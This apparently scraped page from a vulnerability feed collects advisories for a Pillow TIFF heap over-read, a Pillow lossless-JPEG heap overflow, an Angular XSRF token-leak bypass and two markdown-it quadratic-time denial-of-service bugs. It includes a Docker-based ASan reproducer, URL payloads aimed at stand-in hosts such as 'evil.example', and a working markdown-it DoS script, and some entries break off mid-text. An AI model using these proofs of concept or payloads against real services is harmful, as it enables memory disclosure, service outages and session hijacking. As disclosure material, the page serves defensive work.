The bug is in `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c`. Both size their decode buffer from libtiff's view of the pixel layout (`TIFFTileSize()`/`TIFFTileRowSize()`, or `img.width * 4`). They then unpack each row with the unpacker that `TiffImagePlugin._setup()` chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. `_decodeStrip()` has exactly this check, added for OSS-Fuzz `crash-0da0` in 8.2.0, but the tile and RGBA paths never got it.

The two parsers can be made to disagree with a duplicated `PhotometricInterpretation` or `BitsPerSample` tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.

The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).

The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in `copy4` ← `_decodeTile` (`TiffDecode.c:483`) in most runs, depending on what is mapped after the buffer.

## Details

`_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c` size `state->buffer` from what libtiff says it will produce (`TIFFTileSize()`, resp. `img.width * 4`), but unpack each row with the shuffler that `TiffImagePlugin._setup()` selected from Pillow's *own* parse of the IFD. Nothing in either function checks that the unpacker's input row (`width * state->bits / 8` bytes) fits inside the row libtiff wrote. `_decodeStrip()` has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout — a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated `PhotometricInterpretation`/`BitsPerSample`/`SamplesPerPixel` entry (libtiff keeps the first occurrence, `ImageFileDirectory_v2.load()` the last) — the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (`RGBX`, `RGB;16N`, `RGBA;16N`, `I;32`, `F;32F`, …); `RGBA;16N` (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.

The ~400-byte TIFF `tile_count2.tif` generated by the reproducer — one 16x16 tile, `BitsPerSample 8`, `SamplesPerPixel 1`, `Compression 8` (Adobe Deflate), and `PhotometricInterpretation` written as a SHORT with **count 2** (`6, 6`) — is opened by `Image.open()` as mode `RGB` with libtiff rawmode `RGBX`, and `load()` succeeds on the stock build. Rows 13–15 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under `MALLOC_PERTURB_=85` and `=170` yields identical rows 0–12 and different bytes in rows 13–15 (`aa` vs `55`, i.e. glibc's fill pattern). Under an ASan build of the extensions the same `load()` reports `heap-buffer-overflow READ of size 64` in `copy4` (`src/libImaging/Unpack.c:1290`) called from `src/libImaging/TiffDecode.c:483`, against the 256-byte region allocated at `TiffDecode.c:448`. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in `copy4 ← _decodeTile` reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).

### Why the two parsers disagree

libtiff 4.5 rejects a `PhotometricInterpretation` entry whose count is not 1 (`TIFFFetchNormalTag: Incorrect count for "PhotometricInterpretation"; tag ignored`), so for this file `TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, …)` returns 0 and libtiff treats the data as one 8-bit sample per pixel: `TIFFTileSize() = 256`, `TIFFTileRowSize() = 16`.

Pillow keeps the first value and carries on:

```python
# src/PIL/TiffImagePlugin.py:762-770 (ImageFileDirectory_v2._setitem, reached from load())
 try:
 (dest[tag],) = values
 except ValueError:
 # We've got a builtin tag with 1 expected entry
 warnings.warn(f"Metadata Warning, tag {tag} had too many entries: ...")
 dest[tag] = values[0]
```

so `_setup()` sees `photo == 6`. `OPEN_INFO[(II, 6, (1,), 1, (8,), ())]` is `("L", "L")`, and because the file is compressed the libtiff branch then overrides the rawmode:

```python
# src/PIL/TiffImagePlugin.py:1578, 1600-1607
 self.use_load_libtiff = READ_LIBTIFF or self._compression != "raw"
 …
 if photo == 6:
 self._mode = "RGB"
 if self._compression in "jpeg" and self._planar_configuration == 1:
 rawmode = "RGB"
 else:
 rawmode = "RGBX"
```

`

Affected package ranges reported by GitHub:
Pillow: >= 8.1.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Heap buffer overflow in ImagingJpegDecode
https://kevwire.com/record/CVE-2026-112403
Pillow: Heap buffer overflow in ImagingJpegDecode (Oct 20, 2026).
`JpegImageFile.draft()` — which `Image.thumbnail()` calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks `self._size` and the tile extents to match, so `_setimage()` allocates a single-row decode buffer of `ceil(W/s)` samples. `ImagingJpegDecode()` sets `cinfo.scale_num`/`scale_denom`, calls `jpeg_start_decompress()`, and then reads scanlines into that buffer without ever comparing `cinfo.output_width`, `cinfo.output_height` or `cinfo.out_color_components` against `state->xsize`, `state->ysize` and `state->bits`.

libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested `scale_denom` is silently discarded. It therefore returns full-width `W`-sample rows into a buffer sized for `ceil(W/s)`. Each `jpeg_read_scanlines()` call writes `(W - ceil(W/s)) x components` bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.
CVSS 9.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112403).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112403&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-8g5g-8vmr-9782: https://github.com/advisories/GHSA-8g5g-8vmr-9782
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-112403: https://nvd.nist.gov/vuln/detail/CVE-2026-112403
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112403&date=2026-10-25
## Summary

`JpegImageFile.draft()` — which `Image.thumbnail()` calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks `self._size` and the tile extents to match, so `_setimage()` allocates a single-row decode buffer of `ceil(W/s)` samples. `ImagingJpegDecode()` sets `cinfo.scale_num`/`scale_denom`, calls `jpeg_start_decompress()`, and then reads scanlines into that buffer without ever comparing `cinfo.output_width`, `cinfo.output_height` or `cinfo.out_color_components` against `state->xsize`, `state->ysize` and `state->bits`.

libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested `scale_denom` is silently discarded. It therefore returns full-width `W`-sample rows into a buffer sized for `ceil(W/s)`. Each `jpeg_read_scanlines()` call writes `(W - ceil(W/s)) x components` bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.

The input is a standards-compliant JPEG, so `Image.open(..., formats=["JPEG"])` does not prevent it. Pillow's Python SOF parser already accepts marker `0xFFC3` ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a `JPEG` / mode `L` image at its full declared size.

## Affected code

At `e41083f383c9cd3db95de52564cc0b6452313d4a` (`main`, 2026-08-29):

- `src/libImaging/JpegDecode.c:224-262` — `ImagingJpegDecode()`; `jpeg_start_decompress()` at :240, `jpeg_read_scanlines()` at :252, with no geometry check between them.
- `src/decode.c:222-231` — `_setimage()`; `state->buffer = calloc(1, state->bytes)` with `state->bytes = (state->bits * state->xsize + 7) / 8`.
- `src/PIL/JpegImagePlugin.py:428-464` — `JpegImageFile.draft()`; computes `s` and shrinks `_size`, the tile extents and `decoderconfig` with no notion of lossless coding.
- `src/PIL/JpegImagePlugin.py:271` — `0xFFC3: ("SOF3", "Spatial lossless", SOF)`.

```c
// src/libImaging/JpegDecode.c
 if (context->scale > 1) {
 context->cinfo.scale_num = 1;
 context->cinfo.scale_denom = context->scale;
 }
 ...
 case 2:
 if (!jpeg_start_decompress(&context->cinfo)) {
 break;
 }
 state->state++;
 /* fall through */
 case 3:
 ok = 1;
 while (state->y ysize) {
 ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);
```

Because `state->ysize` (`ceil(H/s)`) can never equal libjpeg's `output_height` when `s >= 2`, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The `OSError` is a consequence of the overflow, not the issue being reported.

## Primitive

Per scanline: a contiguous write of `(W - ceil(W/s)) x c` bytes immediately past a `calloc(ceil(W/s) x c)` block, where `c = 1` for mode `L` and 4 for RGB (RGBX) and CMYK; repeated for `ceil(H/s)` rows over the same region. The buffer size class is chosen by the attacker through `W`, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.

Measured in the reproducer below: 1200x1100 mode `L`, `s=2` — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one `memcpy`.

Threshold: `draft()` must select `s >= 2`, i.e. `W // requested_w >= 2` and `H // requested_h >= 2`. For `thumbnail((256,256))` with the default `reducing_gap=2.0` that means `W, H >= 1024`.

## Reproduction

Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with `-fsanitize=address`; Pillow checked out at `${TARGET_COMMIT}`, default `e41083f383c9cd3db95de52564cc0b6452313d4a`). Save the three files below as `Dockerfile`, `make_sof3.py` and `trigger.py` in an empty directory, then:

```bash
docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob
```

`make_sof3.py` is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 `P=8, Y=1100, X=1200, Nf=1` / SOS `Ss=1` predictor 1, `Se=0`, `Ah=Al=0` / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. `trigger.py` opens it and calls `thumbnail()`, whose implicit `draft()` picks `s=2` and allocates a 600-byte row buffer.

### `Dockerfile`

```dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \
 ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
 wget gnupg lsb-release software-properties-common \
 python3 python3-dev python3-pip python3-venv zlib1g-dev \
 && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
 && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
 && rm -rf /var/lib/apt/lists/*

ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"

# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
 && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
 -DCMAKE_C_COMPILER=clang-20 \
 -DCMAKE_C_FLAGS="$CFLAGS" \
 -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
 -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
 -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
 && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}

ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
 && /venv/bin/pip inst

Affected package ranges reported by GitHub:
Pillow: <= 12.3.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### @angular/common: XSRF Token Leakage via URL Parsing Discrepancy in Angular HTTP Client (Incomplete fix for CVE-2025-66035)
https://kevwire.com/record/CVE-2026-111753
@angular/common: XSRF Token Leakage via URL Parsing Discrepancy in Angular HTTP Client (Incomplete fix for CVE-2025-66035) (Oct 20, 2026).
An incomplete fix for [GHSA-58c5-g7wp-6w37](https://github.com/angular/angular/security/advisories/GHSA-58c5-g7wp-6w37) (`CVE-2025-66035`) in `@angular/common`'s HTTP Client (`HttpClient`) allows Cross-Site Request Forgery (XSRF) tokens to be leaked to attacker-controlled cross-origin domains when requests use URLs that exploit parsing discrepancies between regular expressions and the browser's WHATWG URL parser.

To address `CVE-2025-66035`, `xsrfInterceptorFn` introduced a regular expression (`const ABSOLUTE_URL_REGEX = /^(?:https?:)?\/\//i`) to detect and skip absolute and protocol-relative URLs before attaching the `X-XSRF-TOKEN` header.
CVSS 5.9 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-jfgx-762w-99vr).
Sources:
GitHub-reviewed advisory GHSA-jfgx-762w-99vr: https://github.com/advisories/GHSA-jfgx-762w-99vr
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
An incomplete fix for [GHSA-58c5-g7wp-6w37](https://github.com/angular/angular/security/advisories/GHSA-58c5-g7wp-6w37) (`CVE-2025-66035`) in `@angular/common`'s HTTP Client (`HttpClient`) allows Cross-Site Request Forgery (XSRF) tokens to be leaked to attacker-controlled cross-origin domains when requests use URLs that exploit parsing discrepancies between regular expressions and the browser's WHATWG URL parser.

### Technical Description

To address `CVE-2025-66035`, `xsrfInterceptorFn` introduced a regular expression (`const ABSOLUTE_URL_REGEX = /^(?:https?:)?\/\//i`) to detect and skip absolute and protocol-relative URLs before attaching the `X-XSRF-TOKEN` header.

However, browsers resolve request URLs passed to `fetch()` and `XMLHttpRequest.open()` using the **WHATWG URL parser**. For `http:` and `https:` schemes, the WHATWG URL standard performs several normalizations prior to resolving the authority/origin:
* Backslashes (`\`) are treated as forward slashes (`/`) — e.g., `/\evil.example/x`, `\\evil.example/x`, `\/evil.example/x`, `https:\\evil.example/x`, `https:/\evil.example/x`.
* Leading and trailing C0 control characters and spaces (`<= 0x20`) are stripped — e.g., `' //evil.example/x'`, `'\0//evil.example/x'`, `'\x1f//evil.example/x'`.
* ASCII tab (`\t`), newline (`\n`), and carriage return (`\r`) characters are removed anywhere in the input — e.g., `'/\t/evil.example/x'`, `'/\n/evil.example/x'`, `'htt\tps://evil.example/x'`.

Because these URLs do not match `/^(?:https?:)?\/\//i`, `xsrfInterceptorFn` treats them as relative same-origin URLs and attaches the `X-XSRF-TOKEN` header, while the browser resolves and dispatches the request to the cross-origin host (`evil.example`).

Note: Angular `21.0.3+` and `22.x` replaced the regular expression with a WHATWG `new URL(req.url, locationOrigin)` origin comparison in [#65683](https://github.com/angular/angular/pull/65683) and were already unaffected. However, the `20.3.x` LTS branch retained the regular expression until `20.3.34`.

### Impact

The token leakage bypasses Angular's built-in XSRF protection on affected versions, allowing an attacker to capture the user's valid `X-XSRF-TOKEN` header if their server permits the request and custom header via CORS. Once obtained, the attacker can perform Cross-Site Request Forgery (CSRF) attacks against the victim user's session.

### Attack Preconditions

1. The victim's Angular application must have **XSRF protection enabled** (enabled by default in `HttpClient`).
2. The attacker must be able to make the application send a state-changing HTTP request (e.g., `POST`, `PUT`, `DELETE`, `PATCH`) to a URL they control (such as `/\attacker.example/api` or ` //attacker.example/api`).

### Patches

The issue is resolved by parsing and comparing the request URL's origin against the application's current origin using the standard `URL` constructor (`new URL(req.url, locationOrigin)`).

* `21.0.3` (and all `22.x` releases)
* `20.3.34`

### Workarounds

If you cannot immediately upgrade to a patched version:
* Validate and normalize outgoing request URLs using `new URL(url, window.location.origin)` and verify that `parsedUrl.origin === window.location.origin` before passing dynamic URLs to mutating `HttpClient` requests.
* Avoid passing untrusted or user-controlled URLs to `HttpClient` mutating methods.

Affected package ranges reported by GitHub:
@angular/common: >= 21.0.0, < 21.0.3
@angular/common: >= 20.0.0, < 20.3.34
@angular/common: <= 19.2.25
Action: GitHub lists first patched versions: @angular/common: 21.0.3; @angular/common: 20.3.34. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### markdown-it: Quadratic-time rendering of a single multi-line link reference definition with default options (regression since 14.0)
https://kevwire.com/record/CVE-2026-111758
markdown-it: Quadratic-time rendering of a single multi-line link reference definition with default options (regression since 14.0) (Oct 20, 2026).
A link reference definition whose label or title is never closed is O(n²) in markdown-it 15.0.2 with default options. Continuation lines are pulled lazily with str += lineContent in src/rules_block/reference.ts, and the subsequent charCodeAt and slice calls flatten the V8 cons-string, copying everything collected so far; this runs before the rule decides the definition is invalid. It is a regression introduced by PR #1004 in 14.0.0: 13.0.2 processed a 313 KB input in 125 ms, while every version since takes about 11 seconds on the same input. At the sizes below, 200 KB takes 3.6 seconds, 400 KB takes 18.1 seconds, and 800 KB takes 74.0 seconds, which is roughly 4–5× per doubling. No options are required to trigger it.

src/rules_block/reference.ts appends continuation lines with str += lineContent at lines 74, 83, 100, 133, and 150, then keeps indexing the accumulated string via str.charCodeAt(pos) in the label and whitespace loops and str.slice(...) in parseLinkTitle. V8 represents += as a cons-string, and the next charCodeAt or slice flattens it, copying everything collected so far, so one definition spanning n lines costs O(n²). Isolation confirms the rule is responsible: block-only parsing with inline disabled is still quadratic, md.disable('reference') makes the same input linear, and the same text without the leading [ is linear. The fix is to track positions in state.src instead of building str, or to collect line slices in an array and parse across them. At minimum, stop scanning the label after 999 characters (CommonMark §6.3) before pulling more lines, and cap title continuation. Add a pathological test with a 100k-line unclosed title and label. Open PR #1215 edits the same file but its label check runs after the label loop, so it does not bound either variant and the fix can land together with that PR.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111758).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111758&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-gfr2-rv44-r23c: https://github.com/advisories/GHSA-gfr2-rv44-r23c
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-111758: https://nvd.nist.gov/vuln/detail/CVE-2026-111758
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111758&date=2026-10-25
### Summary

A link reference definition whose label or title is never closed is O(n²) in markdown-it 15.0.2 with default options. Continuation lines are pulled lazily with str += lineContent in src/rules_block/reference.ts, and the subsequent charCodeAt and slice calls flatten the V8 cons-string, copying everything collected so far; this runs before the rule decides the definition is invalid. It is a regression introduced by PR #1004 in 14.0.0: 13.0.2 processed a 313 KB input in 125 ms, while every version since takes about 11 seconds on the same input. At the sizes below, 200 KB takes 3.6 seconds, 400 KB takes 18.1 seconds, and 800 KB takes 74.0 seconds, which is roughly 4–5× per doubling. No options are required to trigger it.

### Details

src/rules_block/reference.ts appends continuation lines with str += lineContent at lines 74, 83, 100, 133, and 150, then keeps indexing the accumulated string via str.charCodeAt(pos) in the label and whitespace loops and str.slice(...) in parseLinkTitle. V8 represents += as a cons-string, and the next charCodeAt or slice flattens it, copying everything collected so far, so one definition spanning n lines costs O(n²). Isolation confirms the rule is responsible: block-only parsing with inline disabled is still quadratic, md.disable('reference') makes the same input linear, and the same text without the leading [ is linear. The fix is to track positions in state.src instead of building str, or to collect line slices in an array and parse across them. At minimum, stop scanning the label after 999 characters (CommonMark §6.3) before pulling more lines, and cap title continuation. Add a pathological test with a 100k-line unclosed title and label. Open PR #1215 edits the same file but its label check runs after the label loop, so it does not bound either variant and the fix can land together with that PR.

The observed output from PoC was:
unclosed title n=100000 200009 B 3585.5 ms
unclosed title n=200000 400009 B 18107.1 ms (5.05x)
unclosed title n=400000 800009 B 73954.4 ms (4.08x)

Regression comparison at 313 KB: 13.0.2 → 125 ms, 14.1.0 → 11.4 s, 15.0.0 → 10.6 s, 15.0.2 → 10.7 s.

### Proof of concept

How to execute the PoC:
1. mkdir -p markdown-it-poc && cd markdown-it-poc
2. npm init -y
3. npm i markdown-it@15.0.2
4. node poc_markdown_it.js

PoC below is:
```javascript
// poc_markdown_it.js
// Requires: npm install markdown-it@15.0.2
const MarkdownIt = require('markdown-it');
const md = new MarkdownIt();

function bench(label, src) {
 const t0 = process.hrtime.bigint();
 md.render(src);
 const t1 = process.hrtime.bigint();
 console.log(
 `${label.padEnd(30)} ${String(src.length).padStart(9)} B ${(Number(t1 - t0) / 1e6).toFixed(1).padStart(9)} ms`
 );
}

// Unclosed title: one reference definition spread over many lines
for (const n of [100000, 200000, 400000]) {
 bench(`unclosed title n=${n}`, '[a]: /u "' + 'x\n'.repeat(n));
}

// Unclosed label
for (const n of [5000, 10000, 20000]) {
 bench(`unclosed label n=${n}`, '[' + 'a\n'.repeat(n));
}
```

### Impact

This is an algorithmic-complexity denial of service (CWE-407). Any server that renders user Markdown with markdown-it is affected with default options, including comments, issues, chat, wikis, docs previews, and LLM chat UIs. A ~400 KB request body blocks the Node.js event loop for about 18 seconds and an ~800 KB body for about 74 seconds. This is the same class and attacker model as GHSA-253c, but it is reachable without any opt-in option, since the affected path is a core block rule.

Affected package ranges reported by GitHub:
markdown-it: >= 14.1.0, < 14.3.3
markdown-it: >= 15.0.0, < 15.0.3
Action: GitHub lists first patched versions: markdown-it: 14.3.3; markdown-it: 15.0.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled
https://kevwire.com/record/CVE-2026-111766
markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled (Oct 20, 2026).
With `html: true`, markdown-it takes quadratic time to parse repeated unterminated HTML constructs inside a paragraph. This affects HTML comments (` `, `?>`, `>`, and `]]>`.

When the terminator is absent, matching fails. Parsing eventually reaches the next opener and scans an overlapping suffix again. Repeating this across the paragraph produces quadratic total work. For these inputs, the problem is repeated scanning across separate matches.
CVSS 3.7 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-vfgh-jcmw-g37q).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111766&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-vfgh-jcmw-g37q: https://github.com/advisories/GHSA-vfgh-jcmw-g37q
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
